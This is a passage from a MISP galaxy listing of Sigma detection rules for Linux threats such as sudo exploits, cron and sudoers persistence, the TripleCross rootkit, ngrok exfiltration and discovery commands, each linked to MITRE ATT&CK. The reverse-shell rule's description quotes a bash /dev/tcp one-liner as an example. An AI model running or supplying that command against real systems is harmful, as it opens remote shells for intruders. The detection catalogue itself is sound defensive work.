<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/auth/Lnx_auth_pwnkit_local_privilege_escalation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/auth/Lnx_auth_pwnkit_local_privilege_escalation.yml</a></td>
</tr>
</tbody>
</table>

**SSHD Error Message CVE-2018-15473**

Detects exploitation attempt using public exploit code for CVE-2018-15473

The tag is: misp-galaxy:sigma-rules="SSHD Error Message CVE-2018-15473"

View relationships graph

SSHD Error Message CVE-2018-15473 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"

Table 10893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Suspicious OpenSSH Daemon Error

Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

The tag is: `misp-galaxy: sigma-rules="Suspicious OpenSSH Daemon Error"`

View relationships graph

Suspicious OpenSSH Daemon Error has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

Table 10894. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml">https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml</a></td>
</tr>
<tr>
<td><a href="https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c">https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml</a></td>
</tr>
</tbody>
</table>

Sudo Privilege Escalation CVE-2019-14287 - Builtin

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

The tag is: `misp-galaxy: sigma-rules="Sudo Privilege Escalation CVE-2019-14287 - Builtin"`

View relationships graph

Sudo Privilege Escalation CVE-2019-14287 - Builtin has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy: mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10895. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/matthieugarin/status/1183970598210412546">https://twitter.com/matthieugarin/status/1183970598210412546</a></td>
</tr>
</tbody>
</table>
Suspicious Named Error

Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

The tag is: `misp-galaxy:sigma-rules="Suspicious Named Error"`

View relationships graph

Suspicious Named Error has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

Table 10896. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ossec/ossec-hids/blob/1ecff1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml">https://github.com/ossec/ossec-hids/blob/1ecff1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml</a></td>
</tr>
</tbody>
</table>

Disabling Security Tools - Builtin

Detects disabling security tools

The tag is: `misp-galaxy:sigma-rules="Disabling Security Tools - Builtin"`

View relationships graph

Disabling Security Tools - Builtin has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10897. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md</a></td>
</tr>
</tbody>
</table>
Persistence Via Cron Files

Detects creation of cron file or files in Cron directories which could indicate potential persistence.

The tag is: `misp-galaxy:sigma-rules="Persistence Via Cron Files"`

View relationships graph

Persistence Via Cron Files has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cron - T1053.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10898. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_cron_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_cron_files.yml</a></td>
</tr>
</tbody>
</table>

Wget Creating Files in Tmp Directory

Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"

The tag is: `misp-galaxy:sigma-rules="Wget Creating Files in Tmp Directory"`

View relationships graph

Wget Creating Files in Tmp Directory has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 10899. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2023/05/gobrat.html">https://blogs.jpcert.or.jp/en/2023/05/gobrat.html</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186ee5002eed6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186ee5002eed6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96e99f6b2cfff0ab4a391c8b3/detection">https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96e99f6b2cfff0ab4a391c8b3/detection</a></td>
</tr>
</tbody>
</table>
**Potentially Suspicious Shell Script Creation in Profile Folder**

Detects the creation of shell scripts under the "profile.d" path.

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Shell Script Creation in Profile Folder"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cfffcd0ab4a391c8b3/detection">https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cfffcd0ab4a391c8b3/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_susp_shell_script_under_profile_directory.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_susp_shell_script_under_profile_directory.yml</a></td>
</tr>
</tbody>
</table>

**Persistence Via Sudoers Files**

Detects creation of sudoers file or files in "sudoers.d" directory which can be used a potential method to persiste privileges for a specific user.

The tag is: `misp-galaxy:sigma-rules="Persistence Via Sudoers Files"`

View relationships graph

Persistence Via Sudoers Files has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cron - T1053.003"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh">https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_sudoers_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_sudoers_files.yml</a></td>
</tr>
</tbody>
</table>

**Triple Cross eBPF Rootkit Default LockFile**

Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.
The tag is: `misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Default LockFile"`

### Table 10902. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33">https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33</a></td>
</tr>
</tbody>
</table>

### Triple Cross eBPF Rootkit Default Persistence

Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method.

The tag is: `misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Default Persistence"`

**View relationships graph**

Triple Cross eBPF Rootkit Default Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

### Table 10903. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh">https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh</a></td>
</tr>
</tbody>
</table>

### Linux Doas Conf File Creation

Detects the creation of doas.conf file in linux host platform.

The tag is: `misp-galaxy:sigma-rules="Linux Doas Conf File Creation"`

**View relationships graph**

Linux Doas Conf File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

### Table 10904. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.splunk.com/endpoint/linux_doas_conf_file_creation/">https://research.splunk.com/endpoint/linux_doas_conf_file_creation/</a></td>
</tr>
</tbody>
</table>
Communication To Ngrok Tunneling Service - Linux

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

The tag is: misp-galaxy:sigma-rules="Communication To Ngrok Tunneling Service - Linux"

View relationships graph

Communication To Ngrok Tunneling Service - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 10905. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent">https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/hakluke/status/158773971814977537/photo/1">https://twitter.com/hakluke/status/158773971814977537/photo/1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml</a></td>
</tr>
</tbody>
</table>

Linux Reverse Shell Indicator

Detects a bash connecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

The tag is: misp-galaxy:sigma-rules="Linux Reverse Shell Indicator"

View relationships graph

Linux Reverse Shell Indicator has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-
Table 10906. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_linux_back_connect_shell_dev.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_linux_back_connect_shell_dev.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**Linux Crypto Mining Pool Connections**

Detects process connections to a Monero crypto mining pool

The tag is: `misp-galaxy:sigma-rules="Linux Crypto Mining Pool Connections"`

View relationships graph

Linux Crypto Mining Pool Connections has relationships with:


Table 10907. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.poolwatch.io/coin/monero">https://www.poolwatch.io/coin/monero</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_linux_crypto_mining_indicators.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_linux_crypto_mining_indicators.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**Sudo Privilege Escalation CVE-2019-14287**

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

The tag is: `misp-galaxy:sigma-rules="Sudo Privilege Escalation CVE-2019-14287"`

View relationships graph

Sudo Privilege Escalation CVE-2019-14287 has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with `estimative-language:likelihood-probability="almost-certain"`
- `related-to: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10908. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/matthieugarin/status/1183970598210412546">https://twitter.com/matthieugarin/status/1183970598210412546</a></td>
<td></td>
</tr>
</tbody>
</table>
Decide Base64 Encoded Text

Detects usage of base64 utility to decode arbitrary base64-encoded text

The tag is: `misp-galaxy:sigma-rules="Decode Base64 Encoded Text"`

View relationships graph

Decode Base64 Encoded Text has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfdcdd3742bfcf365fee2a9/atomics/T1027/T1027.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfdcdd3742bfcf365fee2a9/atomics/T1027/T1027.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Nohup Execution

Detects execution of binaries located in potentially suspicious locations via "nohup"

The tag is: `misp-galaxy:sigma-rules="Suspicious Nohup Execution"`

Table 10910. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2023/05/gobrat.html">https://blogs.jpcert.or.jp/en/2023/05/gobrat.html</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186ee5002edd6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186ee5002edd6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cfffcd0ab4a391c8b3/detection">https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cfffcd0ab4a391c8b3/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup_susp_execution.yml</a></td>
</tr>
</tbody>
</table>
**Linux Remote System Discovery**

Detects the enumeration of other remote systems.

The tag is: `misp-galaxy:sigma-rules="Linux Remote System Discovery"`

**View relationships graph**

Linux Remote System Discovery has relationships with:

- **related-to**: `misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"` with estimative-language:likelihood-probability="almost-certain"

**Table 10911. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_re">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_re</a> mote_system_discovery.yml</td>
</tr>
</tbody>
</table>

**Disabling Security Tools**

Detects disabling security tools

The tag is: `misp-galaxy:sigma-rules="Disabling Security Tools"`

**View relationships graph**

Disabling Security Tools has relationships with:

- **related-to**: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

**Table 10912. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_se">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_se</a> curity_tools_disabling.yml</td>
</tr>
</tbody>
</table>

**Triple Cross eBPF Rootkit Execve Hijack**

Detects execution of the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges

The tag is: `misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Execve Hijack"`
Table 10913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275">https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml</a></td>
</tr>
</tbody>
</table>

Vim GTFOBin Abuse - Linux

Detects usage of “vim” and its siblings as a GTFOBin to execute and proxy command and binary execution

The tag is: **misp-galaxy:sigma-rules=“Vim GTFOBin Abuse - Linux”**

View relationships graph

Vim GTFOBin Abuse - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083” with estimative-language:likelihood-probability="almost-certain"

Table 10914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/vimdiff/">https://gtfobins.github.io/gtfobins/vimdiff/</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/rvim/">https://gtfobins.github.io/gtfobins/rvim/</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/vim/">https://gtfobins.github.io/gtfobins/vim/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_vim.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_vim.yml</a></td>
</tr>
</tbody>
</table>

Execution Of Script Located In Potentially Suspicious Directory

Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.

The tag is: **misp-galaxy:sigma-rules=“Execution Of Script Located In Potentially Suspicious Directory”**

Table 10915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2023/05/gobrat.html">https://blogs.jpcert.or.jp/en/2023/05/gobrat.html</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f04068b5b8186ee5002eed6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f04068b5b8186ee5002eed6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
</tbody>
</table>
Interactive Bash Suspicious Children

Detects suspicious interactive bash as a parent to rather uncommon child processes

The tag is: `misp-galaxy:sigma-rules="Interactive Bash Suspicious Children"`

View relationships graph

Interactive Bash Suspicious Children has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"

Table 10916. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml</a></td>
</tr>
</tbody>
</table>

File and Directory Discovery - Linux

Detects usage of system utilities to discover files and directories

The tag is: `misp-galaxy:sigma-rules="File and Directory Discovery - Linux"`

View relationships graph

File and Directory Discovery - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"

Table 10917. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfdf365fee2a9/atomics/T1083/T1083.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfdf365fee2a9/atomics/T1083/T1083.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml</a></td>
</tr>
</tbody>
</table>
OS Architecture Discovery Via Grep

Detects the use of `grep` to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"

The tag is: `misp-galaxy: sigma-rules="OS Architecture Discovery Via Grep"`

View relationships graph

OS Architecture Discovery Via Grep has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"

Table 10918. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2023/05/gobrat.html">https://blogs.jpcert.or.jp/en/2023/05/gobrat.html</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2c0fcd04a391c8b3/detection">https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2c0fcd04a391c8b3/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_grep_os_arch_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_grep_os_arch_discovery.yml</a></td>
</tr>
</tbody>
</table>

Potential Discovery Activity Using Find - Linux

Detects usage of "find" binary in a suspicious manner to perform discovery

The tag is: `misp-galaxy: sigma-rules="Potential Discovery Activity Using Find - Linux"

View relationships graph

Potential Discovery Activity Using Find - Linux has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"

Table 10919. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes">https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_find_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_find_execution.yml</a></td>
</tr>
</tbody>
</table>
Clipboard Collection with Xclip Tool

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: misp-galaxy:sigma-rules="Clipboard Collection with Xclip Tool"

View relationships graph

Clipboard Collection with Xclip Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 10920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.packetlabs.net/posts/clipboard-data-security/">https://www.packetlabs.net/posts/clipboard-data-security/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml</a></td>
</tr>
</tbody>
</table>

Linux Package Uninstall

Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".

The tag is: misp-galaxy:sigma-rules="Linux Package Uninstall"

View relationships graph

Linux Package Uninstall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 10921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command">https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command</a></td>
</tr>
<tr>
<td><a href="https://linuxhint.com/uninstall-debian-packages/">https://linuxhint.com/uninstall-debian-packages/</a></td>
</tr>
<tr>
<td><a href="https://linuxhint.com/uninstall_yum_package/">https://linuxhint.com/uninstall_yum_package/</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/mitre-defense-evasion-falco">https://sysdig.com/blog/mitre-defense-evasion-falco</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remove_package.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remove_package.yml</a></td>
</tr>
</tbody>
</table>
Local System Accounts Discovery - Linux

Detects enumeration of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

The tag is: *misp-galaxy:sigma-rules="Local System Accounts Discovery - Linux"

View relationships graph

Local System Accounts Discovery - Linux has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

Table 10922. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccd3742bf365fee2a9/atomics/T1087.001/T1087.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccd3742bf365fee2a9/atomics/T1087.001/T1087.001.md</a></td>
</tr>
<tr>
